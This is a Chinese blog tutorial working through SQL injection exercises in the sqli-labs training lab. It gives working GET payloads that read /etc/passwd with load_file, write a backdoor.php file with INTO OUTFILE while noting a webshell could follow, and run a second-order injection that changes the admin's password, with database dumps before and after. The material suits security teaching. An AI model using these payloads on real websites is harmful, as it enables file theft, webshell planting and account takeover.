SQL注入-GET方式SQL注入(三)

1.1 SQL注入读写文件

1.1.1 读取文件

在MySQL中读取文件,使用load file(“文件路径/名称”)

  • 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1′ union select 1, load_file(“/etc/passwd”),3 –+
  • 实际SQL:SELECT * FROM users WHERE id=’-1′ union select 1, load_file(“/etc/passwd”),3 — ‘ LIMIT 0,1

图片[1]|SQL注入-GET方式SQL注入(三)|leon的博客

【结果分析】:

使用union联合查询在可输出位置执行load file 函数来读取文件。

1.1.2 写入文件

into outfile语句用于把表数据导出到一个文本文件中,用法::

select * from Table into outfile '/路径/文件名'
  • 测试URL:http://192.168.10.159/sqli-labs/Less-7/?id=-1′)) union select 1, 2, ‘php one word backdoor’ into outfile “/var/lib/mysql/backdoor.php” –+
  • 实际SQL:SELECT * FROM users WHERE id=((‘-1’)) union select 1, 2, ‘php one word backdoor’ into outfile “/var/lib/mysql/backdoor.php” — ‘)) LIMIT 0,1
[root@centos7-sqlilabs ~]# cd /var/lib/mysql/
[root@centos7-sqlilabs mysql]# cat backdoor.php
1   2   php one word backdoor

【结果分析】:

使用select 1, 2, ‘php one word backdoor’ into outfile以逗号分隔字段的方式将数据导入到一个文件中,实际利用select查询到的内容为1,2, php one word backdoor,再写入到系统文件。

PS.这里因为mysql权限问题只能上传文件到mysql数据目录下,如果可以上传文件到网站根目录下,我们就可以直接上传一个WebShell获得权限。

1.2 二次注入修改其他用户密码

1.2.1 构建payload修改其他用户密码

1.2.1.1 数据库中用户密码情况

MariaDB [security]> select * from users;
+----+------------+------------+
| id | username   | password   |
+----+------------+------------+
|  1 | Dumb       | Dumb       |
|  2 | Angelina   | I-kill-you |
|  3 | Dummy      | p@ssword   |
|  4 | secure     | crappy     |
|  5 | stupid     | stupidity  |
|  6 | superman   | genious    |
|  7 | batman     | mob!le     |
| <span style="color: #ff0000;"> 8 | admin      | admin  </span>    |
|  9 | admin1     | admin1     |
| 10 | admin2     | admin2     |
| 11 | admin3     | admin3     |
| 12 | dhakkan    | dumbo      |
| 14 | admin4     | admin4     |
+----+------------+------------+
14 rows in set (0.00 sec)

1.2.1.2 构建payload注册用户

图片[2]|SQL注入-GET方式SQL注入(三)|leon的博客

1.2.1.3 登录后修改用户密码

图片[3]|SQL注入-GET方式SQL注入(三)|leon的博客

1.2.1.4 使用更改后的密码登录admin用户

图片[4]|SQL注入-GET方式SQL注入(三)|leon的博客

1.2.1.5 查看数据用户密码

MariaDB [security]> select * from users;
+----+------------+------------+
| id | username   | password   |
+----+------------+------------+
|  1 | Dumb       | Dumb       |
|  2 | Angelina   | I-kill-you |
|  3 | Dummy      | p@ssword   |
|  4 | secure     | crappy     |
|  5 | stupid     | stupidity  |
|  6 | superman   | genious    |
|  7 | batman     | mob!le     |
|  8 | admin      | 654321     |
|  9 | admin1     | admin1     |
| 10 | admin2     | admin2     |
| 11 | admin3     | admin3     |
| 12 | dhakkan    | dumbo      |
| 14 | admin4     | admin4     |
| 15 | admin'-- + | 123456     |
+----+------------+------------+
14 rows in set (0.00 sec)

【结果分析】:

admin’– +用户的密码并没有被修改,但是admin用户的密码被成功修改成654321

实际SQL:UPDATE users SET PASSWORD=’654321′ where username=’admin’– +’ and password=’123456′

通过我们构建的payload,实际修改的是admin用户的sql语句。

温馨提示:本文最后更新于2022-12-20 20:57:37,已超过493天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2276.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享